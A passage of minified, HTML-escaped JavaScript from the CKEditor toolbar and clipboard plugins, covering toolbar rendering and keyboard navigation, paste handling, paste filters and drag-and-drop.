&quot;indent&quot;,&quot;blocks&quot;,&quot;align&quot;,&quot;bidi&quot;]},{name:&quot;links&quot;},{name:&quot;insert&quot;},&quot;/&quot;,{name:&quot;styles&quot;},{name:&quot;colors&quot;},{name:&quot;tools&quot;},{name:&quot;others&quot;},{name:&quot;about&quot;}])}var z=function(){this.toolbars=[];this.focusCommandExecuted=!1};z.prototype.focus=function(){for(var a=0,d;d=this.toolbars[a++];)for(var f=0,c;c=d.items[f++];)if(c.focus){c.focus();return}};var E={modes:{wysiwyg:1,source:1},readOnly:1,exec:function(a){a.toolbox&amp;&amp;(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},
100):a.toolbox.focus())}};CKEDITOR.plugins.add(&quot;toolbar&quot;,{requires:&quot;button&quot;,init:function(a){var d,f=function(c,h){var b,e=&quot;rtl&quot;==a.lang.dir,k=a.config.toolbarGroupCycling,q=e?37:39,e=e?39:37,k=void 0===k||k;switch(h){case 9:case CKEDITOR.SHIFT+9:for(;!b||!b.items.length;)if(b=9==h?(b?b.next:c.toolbar.next)||a.toolbox.toolbars[0]:(b?b.previous:c.toolbar.previous)||a.toolbox.toolbars[a.toolbox.toolbars.length-1],b.items.length)for(c=b.items[d?b.items.length-1:0];c&amp;&amp;!c.focus;)(c=d?c.previous:c.next)||
(b=0);c&amp;&amp;c.focus();return!1;case q:b=c;do b=b.next,!b&amp;&amp;k&amp;&amp;(b=c.toolbar.items[0]);while(b&amp;&amp;!b.focus);b?b.focus():f(c,9);return!1;case 40:return c.button&amp;&amp;c.button.hasArrow?c.execute():f(c,40==h?q:e),!1;case e:case 38:b=c;do b=b.previous,!b&amp;&amp;k&amp;&amp;(b=c.toolbar.items[c.toolbar.items.length-1]);while(b&amp;&amp;!b.focus);b?b.focus():(d=1,f(c,CKEDITOR.SHIFT+9),d=0);return!1;case 27:return a.focus(),!1;case 13:case 32:return c.execute(),!1}return!0};a.on(&quot;uiSpace&quot;,function(c){if(c.data.space==a.config.toolbarLocation){c.removeListener();
a.toolbox=new z;var d=CKEDITOR.tools.getNextId(),b=[&#039;\x3cspan id\x3d&quot;&#039;,d,&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;,a.lang.toolbar.toolbars,&quot;\x3c/span\x3e&quot;,&#039;\x3cspan id\x3d&quot;&#039;+a.ui.spaceId(&quot;toolbox&quot;)+&#039;&quot; class\x3d&quot;cke_toolbox&quot; role\x3d&quot;group&quot; aria-labelledby\x3d&quot;&#039;,d,&#039;&quot; onmousedown\x3d&quot;return false;&quot;\x3e&#039;],d=!1!==a.config.toolbarStartupExpanded,e,k;a.config.toolbarCanCollapse&amp;&amp;a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&amp;&amp;b.push(&#039;\x3cspan class\x3d&quot;cke_toolbox_main&quot;&#039;+(d?&quot;\x3e&quot;:&#039; style\x3d&quot;display:none&quot;\x3e&#039;));
for(var q=a.toolbox.toolbars,n=D(a),g=n.length,l=0;l&lt;g;l++){var r,m=0,w,p=n[l],v=&quot;/&quot;!==p&amp;&amp;(&quot;/&quot;===n[l+1]||l==g-1),x;if(p)if(e&amp;&amp;(b.push(&quot;\x3c/span\x3e&quot;),k=e=0),&quot;/&quot;===p)b.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_break&quot;\x3e\x3c/span\x3e&#039;);else{x=p.items||p;for(var y=0;y&lt;x.length;y++){var t=x[y],A;if(t){var B=function(c){c=c.render(a,b);u=m.items.push(c)-1;0&lt;u&amp;&amp;(c.previous=m.items[u-1],c.previous.next=c);c.toolbar=m;c.onkey=f;c.onfocus=function(){a.toolbox.focusCommandExecuted||a.focus()}};if(t.type==CKEDITOR.UI_SEPARATOR)k=
e&amp;&amp;t;else{A=!1!==t.canGroup;if(!m){r=CKEDITOR.tools.getNextId();m={id:r,items:[]};w=p.name&amp;&amp;(a.lang.toolbar.toolbarGroups[p.name]||p.name);b.push(&#039;\x3cspan id\x3d&quot;&#039;,r,&#039;&quot; class\x3d&quot;cke_toolbar&#039;+(v?&#039; cke_toolbar_last&quot;&#039;:&#039;&quot;&#039;),w?&#039; aria-labelledby\x3d&quot;&#039;+r+&#039;_label&quot;&#039;:&quot;&quot;,&#039; role\x3d&quot;toolbar&quot;\x3e&#039;);w&amp;&amp;b.push(&#039;\x3cspan id\x3d&quot;&#039;,r,&#039;_label&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;,w,&quot;\x3c/span\x3e&quot;);b.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_start&quot;\x3e\x3c/span\x3e&#039;);var u=q.push(m)-1;0&lt;u&amp;&amp;(m.previous=q[u-1],m.previous.next=
m)}A?e||(b.push(&#039;\x3cspan class\x3d&quot;cke_toolgroup&quot; role\x3d&quot;presentation&quot;\x3e&#039;),e=1):e&amp;&amp;(b.push(&quot;\x3c/span\x3e&quot;),e=0);k&amp;&amp;(B(k),k=0);B(t)}}}e&amp;&amp;(b.push(&quot;\x3c/span\x3e&quot;),k=e=0);m&amp;&amp;b.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_end&quot;\x3e\x3c/span\x3e\x3c/span\x3e&#039;)}}a.config.toolbarCanCollapse&amp;&amp;b.push(&quot;\x3c/span\x3e&quot;);if(a.config.toolbarCanCollapse&amp;&amp;a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var C=CKEDITOR.tools.addFunction(function(){a.execCommand(&quot;toolbarCollapse&quot;)});a.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(C)});
a.addCommand(&quot;toolbarCollapse&quot;,{readOnly:1,exec:function(b){var a=b.ui.space(&quot;toolbar_collapser&quot;),c=a.getPrevious(),d=b.ui.space(&quot;contents&quot;),e=c.getParent(),h=parseInt(d.$.style.height,10),g=e.$.offsetHeight,f=a.hasClass(&quot;cke_toolbox_collapser_min&quot;);f?(c.show(),a.removeClass(&quot;cke_toolbox_collapser_min&quot;),a.setAttribute(&quot;title&quot;,b.lang.toolbar.toolbarCollapse)):(c.hide(),a.addClass(&quot;cke_toolbox_collapser_min&quot;),a.setAttribute(&quot;title&quot;,b.lang.toolbar.toolbarExpand));a.getFirst().setText(f?&quot;▲&quot;:&quot;◀&quot;);d.setStyle(&quot;height&quot;,
h-(e.$.offsetHeight-g)+&quot;px&quot;);b.fire(&quot;resize&quot;,{outerHeight:b.container.$.offsetHeight,contentsHeight:d.$.offsetHeight,outerWidth:b.container.$.offsetWidth})},modes:{wysiwyg:1,source:1}});a.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?189:109),&quot;toolbarCollapse&quot;);b.push(&#039;\x3ca title\x3d&quot;&#039;+(d?a.lang.toolbar.toolbarCollapse:a.lang.toolbar.toolbarExpand)+&#039;&quot; id\x3d&quot;&#039;+a.ui.spaceId(&quot;toolbar_collapser&quot;)+&#039;&quot; tabIndex\x3d&quot;-1&quot; class\x3d&quot;cke_toolbox_collapser&#039;);d||b.push(&quot; cke_toolbox_collapser_min&quot;);
b.push(&#039;&quot; onclick\x3d&quot;CKEDITOR.tools.callFunction(&#039;+C+&#039;)&quot;\x3e&#039;,&#039;\x3cspan class\x3d&quot;cke_arrow&quot;\x3e\x26#9650;\x3c/span\x3e&#039;,&quot;\x3c/a\x3e&quot;)}b.push(&quot;\x3c/span\x3e&quot;);c.data.html+=b.join(&quot;&quot;)}});a.on(&quot;destroy&quot;,function(){if(this.toolbox){var a,d=0,b,e,f;for(a=this.toolbox.toolbars;d&lt;a.length;d++)for(e=a[d].items,b=0;b&lt;e.length;b++)f=e[b],f.clickFn&amp;&amp;CKEDITOR.tools.removeFunction(f.clickFn),f.keyDownFn&amp;&amp;CKEDITOR.tools.removeFunction(f.keyDownFn)}});a.on(&quot;uiReady&quot;,function(){var c=a.ui.space(&quot;toolbox&quot;);c&amp;&amp;a.focusManager.add(c,
1)});a.addCommand(&quot;toolbarFocus&quot;,E);a.setKeystroke(CKEDITOR.ALT+121,&quot;toolbarFocus&quot;);a.ui.add(&quot;-&quot;,CKEDITOR.UI_SEPARATOR,{});a.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,d){d.push(&#039;\x3cspan class\x3d&quot;cke_toolbar_separator&quot; role\x3d&quot;separator&quot;\x3e\x3c/span\x3e&#039;);return{}}}}})}});CKEDITOR.ui.prototype.addToolbarGroup=function(a,d,f){var c=v(this.editor),h=0===d,b={name:a};if(f){if(f=CKEDITOR.tools.search(c,function(a){return a.name==f})){!f.groups&amp;&amp;(f.groups=[]);if(d&amp;&amp;
(d=CKEDITOR.tools.indexOf(f.groups,d),0&lt;=d)){f.groups.splice(d+1,0,a);return}h?f.groups.splice(0,0,a):f.groups.push(a);return}d=null}d&amp;&amp;(d=CKEDITOR.tools.indexOf(c,function(a){return a.name==d}));h?c.splice(0,0,a):&quot;number&quot;==typeof d?c.splice(d+1,0,b):c.push(a)}})();CKEDITOR.UI_SEPARATOR=&quot;separator&quot;;CKEDITOR.config.toolbarLocation=&quot;top&quot;;(function(){function r(a,b,c){b.type||(b.type=&quot;auto&quot;);if(c&amp;&amp;!1===a.fire(&quot;beforePaste&quot;,b)||!b.dataValue&amp;&amp;b.dataTransfer.isEmpty())return!1;b.dataValue||(b.dataValue=&quot;&quot;);if(CKEDITOR.env.gecko&amp;&amp;&quot;drop&quot;==b.method&amp;&amp;a.toolbox)a.once(&quot;afterPaste&quot;,function(){a.toolbox.focus()});return a.fire(&quot;paste&quot;,b)}function x(a){function b(){var b=a.editable();if(CKEDITOR.plugins.clipboard.isCustomCopyCutSupported){var c=function(b){a.getSelection().isCollapsed()||(a.readOnly&amp;&amp;&quot;cut&quot;==b.name||p.initPasteDataTransfer(b,
a),b.data.preventDefault())};b.on(&quot;copy&quot;,c);b.on(&quot;cut&quot;,c);b.on(&quot;cut&quot;,function(){a.readOnly||a.extractSelectedHtml()},null,null,999)}b.on(p.mainPasteEvent,function(a){&quot;beforepaste&quot;==p.mainPasteEvent&amp;&amp;m||k(a)});&quot;beforepaste&quot;==p.mainPasteEvent&amp;&amp;(b.on(&quot;paste&quot;,function(a){u||(g(),a.data.preventDefault(),k(a),e(&quot;paste&quot;))}),b.on(&quot;contextmenu&quot;,h,null,null,0),b.on(&quot;beforepaste&quot;,function(a){!a.data||a.data.$.ctrlKey||a.data.$.shiftKey||h()},null,null,0));b.on(&quot;beforecut&quot;,function(){!m&amp;&amp;f(a)});var d;b.attachListener(CKEDITOR.env.ie?
b:a.document.getDocumentElement(),&quot;mouseup&quot;,function(){d=setTimeout(function(){t()},0)});a.on(&quot;destroy&quot;,function(){clearTimeout(d)});b.on(&quot;keyup&quot;,t)}function c(b){return{type:b,canUndo:&quot;cut&quot;==b,startDisabled:!0,fakeKeystroke:&quot;cut&quot;==b?CKEDITOR.CTRL+88:CKEDITOR.CTRL+67,exec:function(){&quot;cut&quot;==this.type&amp;&amp;f();var b;var c=this.type;if(CKEDITOR.env.ie)b=e(c);else try{b=a.document.$.execCommand(c,!1,null)}catch(d){b=!1}b||a.showNotification(a.lang.clipboard[this.type+&quot;Error&quot;]);return b}}}function d(){return{canUndo:!1,
async:!0,fakeKeystroke:CKEDITOR.CTRL+86,exec:function(a,b){function c(b,h){h=&quot;undefined&quot;!==typeof h?h:!0;b?(b.method=&quot;paste&quot;,b.dataTransfer||(b.dataTransfer=p.initPasteDataTransfer()),r(a,b,h)):e&amp;&amp;!a._.forcePasteDialog&amp;&amp;a.showNotification(n,&quot;info&quot;,a.config.clipboard_notificationDuration);a._.forcePasteDialog=!1;a.fire(&quot;afterCommandExec&quot;,{name:&quot;paste&quot;,command:d,returnValue:!!b})}b=&quot;undefined&quot;!==typeof b&amp;&amp;null!==b?b:{};var d=this,e=&quot;undefined&quot;!==typeof b.notification?b.notification:!0,h=b.type,f=CKEDITOR.tools.keystrokeToString(a.lang.common.keyboard,
a.getCommandKeystroke(this)),n=&quot;string&quot;===typeof e?e:a.lang.clipboard.pasteNotification.replace(/%1/,&#039;\x3ckbd aria-label\x3d&quot;&#039;+f.aria+&#039;&quot;\x3e&#039;+f.display+&quot;\x3c/kbd\x3e&quot;),f=&quot;string&quot;===typeof b?b:b.dataValue;h&amp;&amp;!0!==a.config.forcePasteAsPlainText&amp;&amp;&quot;allow-word&quot;!==a.config.forcePasteAsPlainText?a._.nextPasteType=h:delete a._.nextPasteType;&quot;string&quot;===typeof f?c({dataValue:f}):a.getClipboardData(c)}}}function g(){u=1;setTimeout(function(){u=0},100)}function h(){m=1;setTimeout(function(){m=0},10)}function e(b){var c=
a.document,d=c.getBody(),e=!1,h=function(){e=!0};d.on(b,h);7&lt;CKEDITOR.env.version?c.$.execCommand(b):c.$.selection.createRange().execCommand(b);d.removeListener(b,h);return e}function f(){if(CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.quirks){var b=a.getSelection(),c,d,e;b.getType()==CKEDITOR.SELECTION_ELEMENT&amp;&amp;(c=b.getSelectedElement())&amp;&amp;(d=b.getRanges()[0],e=a.document.createText(&quot;&quot;),e.insertBefore(c),d.setStartBefore(e),d.setEndAfter(c),b.selectRanges([d]),setTimeout(function(){c.getParent()&amp;&amp;(e.remove(),b.selectElement(c))},
0))}}function l(b,c){var d=a.document,e=a.editable(),h=function(a){a.cancel()},f;if(!d.getById(&quot;cke_pastebin&quot;)){var n=a.getSelection(),g=n.createBookmarks();CKEDITOR.env.ie&amp;&amp;n.root.fire(&quot;selectionchange&quot;);var k=new CKEDITOR.dom.element(!CKEDITOR.env.webkit&amp;&amp;!e.is(&quot;body&quot;)||CKEDITOR.env.ie?&quot;div&quot;:&quot;body&quot;,d);k.setAttributes({id:&quot;cke_pastebin&quot;,&quot;data-cke-temp&quot;:&quot;1&quot;});var l=0,d=d.getWindow();CKEDITOR.env.webkit?(e.append(k),k.addClass(&quot;cke_editable&quot;),e.is(&quot;body&quot;)||(l=&quot;static&quot;!=e.getComputedStyle(&quot;position&quot;)?
e:CKEDITOR.dom.element.get(e.$.offsetParent),l=l.getDocumentPosition().y)):e.getAscendant(CKEDITOR.env.ie?&quot;body&quot;:&quot;html&quot;,1).append(k);k.setStyles({position:&quot;absolute&quot;,top:d.getScrollPosition().y-l+10+&quot;px&quot;,width:&quot;1px&quot;,height:Math.max(1,d.getViewPaneSize().height-20)+&quot;px&quot;,overflow:&quot;hidden&quot;,margin:0,padding:0});CKEDITOR.env.safari&amp;&amp;k.setStyles(CKEDITOR.tools.cssVendorPrefix(&quot;user-select&quot;,&quot;text&quot;));(l=k.getParent().isReadOnly())?(k.setOpacity(0),k.setAttribute(&quot;contenteditable&quot;,!0)):k.setStyle(&quot;ltr&quot;==a.config.contentsLangDirection?
&quot;left&quot;:&quot;right&quot;,&quot;-10000px&quot;);a.on(&quot;selectionChange&quot;,h,null,null,0);if(CKEDITOR.env.webkit||CKEDITOR.env.gecko)f=e.once(&quot;blur&quot;,h,null,null,-100);l&amp;&amp;k.focus();l=new CKEDITOR.dom.range(k);l.selectNodeContents(k);var t=l.select();CKEDITOR.env.ie&amp;&amp;(f=e.once(&quot;blur&quot;,function(){a.lockSelection(t)}));var q=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout(function(){CKEDITOR.env.webkit&amp;&amp;(CKEDITOR.document.getBody().$.scrollTop=q);f&amp;&amp;f.removeListener();CKEDITOR.env.ie&amp;&amp;e.focus();n.selectBookmarks(g);
k.remove();var b;CKEDITOR.env.webkit&amp;&amp;(b=k.getFirst())&amp;&amp;b.is&amp;&amp;b.hasClass(&quot;Apple-style-span&quot;)&amp;&amp;(k=b);a.removeListener(&quot;selectionChange&quot;,h);c(k.getHtml())},0)}}function y(){if(&quot;paste&quot;==p.mainPasteEvent)return a.fire(&quot;beforePaste&quot;,{type:&quot;auto&quot;,method:&quot;paste&quot;}),!1;a.focus();g();var b=a.focusManager;b.lock();if(a.editable().fire(p.mainPasteEvent)&amp;&amp;!e(&quot;paste&quot;))return b.unlock(),!1;b.unlock();return!0}function n(b){if(&quot;wysiwyg&quot;==a.mode)switch(b.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:b=
a.editable();g();&quot;paste&quot;==p.mainPasteEvent&amp;&amp;b.fire(&quot;beforepaste&quot;);break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:a.fire(&quot;saveSnapshot&quot;),setTimeout(function(){a.fire(&quot;saveSnapshot&quot;)},50)}}function k(b){var c={type:&quot;auto&quot;,method:&quot;paste&quot;,dataTransfer:p.initPasteDataTransfer(b)};c.dataTransfer.cacheData();var d=!1!==a.fire(&quot;beforePaste&quot;,c);d&amp;&amp;p.canClipboardApiBeTrusted(c.dataTransfer,a)?(b.data.preventDefault(),setTimeout(function(){r(a,c)},0)):l(b,function(b){c.dataValue=b.replace(/&lt;span[^&gt;]+data-cke-bookmark[^&lt;]*?&lt;\/span&gt;/ig,
&quot;&quot;);d&amp;&amp;r(a,c)})}function t(){if(&quot;wysiwyg&quot;==a.mode){var b=q(&quot;paste&quot;);a.getCommand(&quot;cut&quot;).setState(q(&quot;cut&quot;));a.getCommand(&quot;copy&quot;).setState(q(&quot;copy&quot;));a.getCommand(&quot;paste&quot;).setState(b);a.fire(&quot;pasteState&quot;,b)}}function q(b){if(v&amp;&amp;b in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if(&quot;paste&quot;==b)return CKEDITOR.TRISTATE_OFF;b=a.getSelection();var c=b.getRanges();return b.getType()==CKEDITOR.SELECTION_NONE||1==c.length&amp;&amp;c[0].collapsed?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var p=CKEDITOR.plugins.clipboard,
m=0,u=0,v=0;(function(){a.on(&quot;key&quot;,n);a.on(&quot;contentDom&quot;,b);a.on(&quot;selectionChange&quot;,function(a){v=a.data.selection.getRanges()[0].checkReadOnly();t()});if(a.contextMenu){a.contextMenu.addListener(function(a,b){v=b.getRanges()[0].checkReadOnly();return{cut:q(&quot;cut&quot;),copy:q(&quot;copy&quot;),paste:q(&quot;paste&quot;)}});var c=null;a.on(&quot;menuShow&quot;,function(){c&amp;&amp;(c.removeListener(),c=null);var b=a.contextMenu.findItemByCommandName(&quot;paste&quot;);b&amp;&amp;b.element&amp;&amp;(c=b.element.on(&quot;touchend&quot;,function(){a._.forcePasteDialog=!0}))})}if(a.ui.addButton)a.once(&quot;instanceReady&quot;,
function(){a._.pasteButtons&amp;&amp;CKEDITOR.tools.array.forEach(a._.pasteButtons,function(b){if(b=a.ui.get(b))if(b=CKEDITOR.document.getById(b._.id))b.on(&quot;touchend&quot;,function(){a._.forcePasteDialog=!0})})})})();(function(){function b(c,d,e,h,f){var n=a.lang.clipboard[d];a.addCommand(d,e);a.ui.addButton&amp;&amp;a.ui.addButton(c,{label:n,command:d,toolbar:&quot;clipboard,&quot;+h});a.addMenuItems&amp;&amp;a.addMenuItem(d,{label:n,command:d,group:&quot;clipboard&quot;,order:f})}b(&quot;Cut&quot;,&quot;cut&quot;,c(&quot;cut&quot;),10,1);b(&quot;Copy&quot;,&quot;copy&quot;,c(&quot;copy&quot;),20,4);b(&quot;Paste&quot;,
&quot;paste&quot;,d(),30,8);a._.pasteButtons||(a._.pasteButtons=[]);a._.pasteButtons.push(&quot;Paste&quot;)})();a.getClipboardData=function(b,c){function d(a){a.removeListener();a.cancel();c(a.data)}function e(a){a.removeListener();a.cancel();c({type:f,dataValue:a.data.dataValue,dataTransfer:a.data.dataTransfer,method:&quot;paste&quot;})}var h=!1,f=&quot;auto&quot;;c||(c=b,b=null);a.on(&quot;beforePaste&quot;,function(a){a.removeListener();h=!0;f=a.data.type},null,null,1E3);a.on(&quot;paste&quot;,d,null,null,0);!1===y()&amp;&amp;(a.removeListener(&quot;paste&quot;,d),a._.forcePasteDialog&amp;&amp;
h&amp;&amp;a.fire(&quot;pasteDialog&quot;)?(a.on(&quot;pasteDialogCommit&quot;,e),a.on(&quot;dialogHide&quot;,function(a){a.removeListener();a.data.removeListener(&quot;pasteDialogCommit&quot;,e);a.data._.committed||c(null)})):c(null))}}function z(a){if(CKEDITOR.env.webkit){if(!a.match(/^[^&lt;]*$/g)&amp;&amp;!a.match(/^(&lt;div&gt;&lt;br( ?\/)?&gt;&lt;\/div&gt;|&lt;div&gt;[^&lt;]*&lt;\/div&gt;)*$/gi))return&quot;html&quot;}else if(CKEDITOR.env.ie){if(!a.match(/^([^&lt;]|&lt;br( ?\/)?&gt;)*$/gi)&amp;&amp;!a.match(/^(&lt;p&gt;([^&lt;]|&lt;br( ?\/)?&gt;)*&lt;\/p&gt;|(\r\n))*$/gi))return&quot;html&quot;}else if(CKEDITOR.env.gecko){if(!a.match(/^([^&lt;]|&lt;br( ?\/)?&gt;)*$/gi))return&quot;html&quot;}else return&quot;html&quot;;
return&quot;htmlifiedtext&quot;}function A(a,b){function c(a){return CKEDITOR.tools.repeat(&quot;\x3c/p\x3e\x3cp\x3e&quot;,~~(a/2))+(1==a%2?&quot;\x3cbr\x3e&quot;:&quot;&quot;)}b=b.replace(/(?!\u3000)\s+/g,&quot; &quot;).replace(/&gt; +&lt;/g,&quot;\x3e\x3c&quot;).replace(/&lt;br ?\/&gt;/gi,&quot;\x3cbr\x3e&quot;);b=b.replace(/&lt;\/?[A-Z]+&gt;/g,function(a){return a.toLowerCase()});if(b.match(/^[^&lt;]$/))return b;CKEDITOR.env.webkit&amp;&amp;-1&lt;b.indexOf(&quot;\x3cdiv\x3e&quot;)&amp;&amp;(b=b.replace(/^(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;)(?!$|(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;))/g,&quot;\x3cbr\x3e&quot;).replace(/^(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;){2}(?!$)/g,&quot;\x3cdiv\x3e\x3c/div\x3e&quot;),
b.match(/&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;/)&amp;&amp;(b=&quot;\x3cp\x3e&quot;+b.replace(/(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;)+/g,function(a){return c(a.split(&quot;\x3c/div\x3e\x3cdiv\x3e&quot;).length+1)})+&quot;\x3c/p\x3e&quot;),b=b.replace(/&lt;\/div&gt;&lt;div&gt;/g,&quot;\x3cbr\x3e&quot;),b=b.replace(/&lt;\/?div&gt;/g,&quot;&quot;));CKEDITOR.env.gecko&amp;&amp;a.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(CKEDITOR.env.gecko&amp;&amp;(b=b.replace(/^&lt;br&gt;&lt;br&gt;$/,&quot;\x3cbr\x3e&quot;)),-1&lt;b.indexOf(&quot;\x3cbr\x3e\x3cbr\x3e&quot;)&amp;&amp;(b=&quot;\x3cp\x3e&quot;+b.replace(/(&lt;br&gt;){2,}/g,function(a){return c(a.length/4)})+&quot;\x3c/p\x3e&quot;));return B(a,b)}function C(a){function b(){var a=
{},b;for(b in CKEDITOR.dtd)&quot;$&quot;!=b.charAt(0)&amp;&amp;&quot;div&quot;!=b&amp;&amp;&quot;span&quot;!=b&amp;&amp;(a[b]=1);return a}var c={};return{get:function(d){return&quot;plain-text&quot;==d?c.plainText||(c.plainText=new CKEDITOR.filter(a,&quot;br&quot;)):&quot;semantic-content&quot;==d?((d=c.semanticContent)||(d=new CKEDITOR.filter(a,{}),d.allow({$1:{elements:b(),attributes:!0,styles:!1,classes:!1}}),d=c.semanticContent=d),d):d?new CKEDITOR.filter(a,d):null}}}function w(a,b,c){b=CKEDITOR.htmlParser.fragment.fromHtml(b);var d=new CKEDITOR.htmlParser.basicWriter;c.applyTo(b,
!0,!1,a.activeEnterMode);b.writeHtml(d);return d.getHtml()}function B(a,b){a.enterMode==CKEDITOR.ENTER_BR?b=b.replace(/(&lt;\/p&gt;&lt;p&gt;)+/g,function(a){return CKEDITOR.tools.repeat(&quot;\x3cbr\x3e&quot;,a.length/7*2)}).replace(/&lt;\/?p&gt;/g,&quot;&quot;):a.enterMode==CKEDITOR.ENTER_DIV&amp;&amp;(b=b.replace(/&lt;(\/)?p&gt;/g,&quot;\x3c$1div\x3e&quot;));return b}function D(a){a.data.preventDefault();a.data.$.dataTransfer.dropEffect=&quot;none&quot;}function E(a){var b=CKEDITOR.plugins.clipboard;a.on(&quot;contentDom&quot;,function(){function c(b,c,d){c.select();r(a,{dataTransfer:d,
method:&quot;drop&quot;},1);d.sourceEditor.fire(&quot;saveSnapshot&quot;);d.sourceEditor.editable().extractHtmlFromRange(b);d.sourceEditor.getSelection().selectRanges([b]);d.sourceEditor.fire(&quot;saveSnapshot&quot;)}function d(c,d){c.select();r(a,{dataTransfer:d,method:&quot;drop&quot;},1);b.resetDragDataTransfer()}function g(b,c,d){var e={$:b.data.$,target:b.data.getTarget()};c&amp;&amp;(e.dragRange=c);d&amp;&amp;(e.dropRange=d);!1===a.fire(b.name,e)&amp;&amp;b.data.preventDefault()}function h(a){a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(a=a.getParent());return a.getChildCount()}
var e=a.editable(),f=CKEDITOR.plugins.clipboard.getDropTarget(a),l=a.ui.space(&quot;top&quot;),m=a.ui.space(&quot;bottom&quot;);b.preventDefaultDropOnElement(l);b.preventDefaultDropOnElement(m);e.attachListener(f,&quot;dragstart&quot;,g);e.attachListener(a,&quot;dragstart&quot;,b.resetDragDataTransfer,b,null,1);e.attachListener(a,&quot;dragstart&quot;,function(c){b.initDragDataTransfer(c,a)},null,null,2);e.attachListener(a,&quot;dragstart&quot;,function(){var c=b.dragRange=a.getSelection().getRanges()[0];CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;(b.dragStartContainerChildCount=
c?h(c.startContainer):null,b.dragEndContainerChildCount=c?h(c.endContainer):null)},null,null,100);e.attachListener(f,&quot;dragend&quot;,g);e.attachListener(a,&quot;dragend&quot;,b.initDragDataTransfer,b,null,1);e.attachListener(a,&quot;dragend&quot;,b.resetDragDataTransfer,b,null,100);e.attachListener(f,&quot;dragover&quot;,function(a){if(CKEDITOR.env.edge)a.data.preventDefault();else{var b=a.data.getTarget();b&amp;&amp;b.is&amp;&amp;b.is(&quot;html&quot;)?a.data.preventDefault():CKEDITOR.env.ie&amp;&amp;CKEDITOR.plugins.clipboard.isFileApiSupported&amp;&amp;a.data.$.dataTransfer.types.contains(&quot;Files&quot;)&amp;&amp;
a.data.preventDefault()}});e.attachListener(f,&quot;drop&quot;,function(c){if(!c.data.$.defaultPrevented){c.data.preventDefault();var d=c.data.getTarget();if(!d.isReadOnly()||d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.is(&quot;html&quot;)){var d=b.getRangeAtDropPosition(c,a),e=b.dragRange;d&amp;&amp;g(c,e,d)}}},null,null,9999);e.attachListener(a,&quot;drop&quot;,b.initDragDataTransfer,b,null,1);e.attachListener(a,&quot;drop&quot;,function(e){if(e=e.data){var h=e.dropRange,f=e.dragRange,g=e.dataTransfer;g.getTransferType(a)==CKEDITOR.DATA_TRANSFER_INTERNAL?
setTimeout(function(){b.internalDrop(f,h,g,a)},0):g.getTransferType(a)==CKEDITOR.DATA_TRANSFER_CROSS_EDITORS?c(f,h,g):d(h,g)}},null,null,9999)})}var m;CKEDITOR.plugins.add(&quot;clipboard&quot;,{requires:&quot;dialog,notification,toolbar&quot;,init:function(a){var b,c=C(a);a.config.forcePasteAsPlainText?b=&quot;plain-text&quot;:a.config.pasteFilter?b=a.config.pasteFilter:!CKEDITOR.env.webkit||&quot;pasteFilter&quot;in a.config||(b=&quot;semantic-content&quot;);a.pasteFilter=c.get(b);x(a);E(a);CKEDITOR.dialog.add(&quot;paste&quot;,CKEDITOR.getUrl(this.path+
&quot;dialogs/paste.js&quot;));if(CKEDITOR.env.gecko){var d=[&quot;image/png&quot;,&quot;image/jpeg&quot;,&quot;image/gif&quot;],g;a.on(&quot;paste&quot;,function(b){var c=b.data,f=c.dataTransfer;if(!c.dataValue&amp;&amp;&quot;paste&quot;==c.method&amp;&amp;f&amp;&amp;1==f.getFilesCount()&amp;&amp;g!=f.id&amp;&amp;(f=f.getFile(0),-1!=CKEDITOR.tools.indexOf(d,f.type))){var l=new FileReader;l.addEventListener(&quot;load&quot;,function(){b.data.dataValue=&#039;\x3cimg src\x3d&quot;&#039;+l.result+&#039;&quot; /\x3e&#039;;a.fire(&quot;paste&quot;,b.data)},!1);l.addEventListener(&quot;abort&quot;,function(){a.fire(&quot;paste&quot;,b.data)},!1);l.addEventListener(&quot;error&quot;,
function(){a.fire(&quot;paste&quot;,b.data)},!1);l.readAsDataURL(f);g=c.dataTransfer.id;b.stop()}},null,null,1)}a.on(&quot;paste&quot;,function(b){b.data.dataTransfer||(b.data.dataTransfer=new CKEDITOR.plugins.clipboard.dataTransfer);if(!b.data.dataValue){var c=b.data.dataTransfer,d=c.getData(&quot;text/html&quot;);if(d)b.data.dataValue=d,b.data.type=&quot;html&quot;;else if(d=c.getData(&quot;text/plain&quot;))b.data.dataValue=a.editable().transformPlainTextToHtml(d),b.data.type=&quot;text&quot;}},null,null,1);a.on(&quot;paste&quot;,function(a){var b=a.data.dataValue,
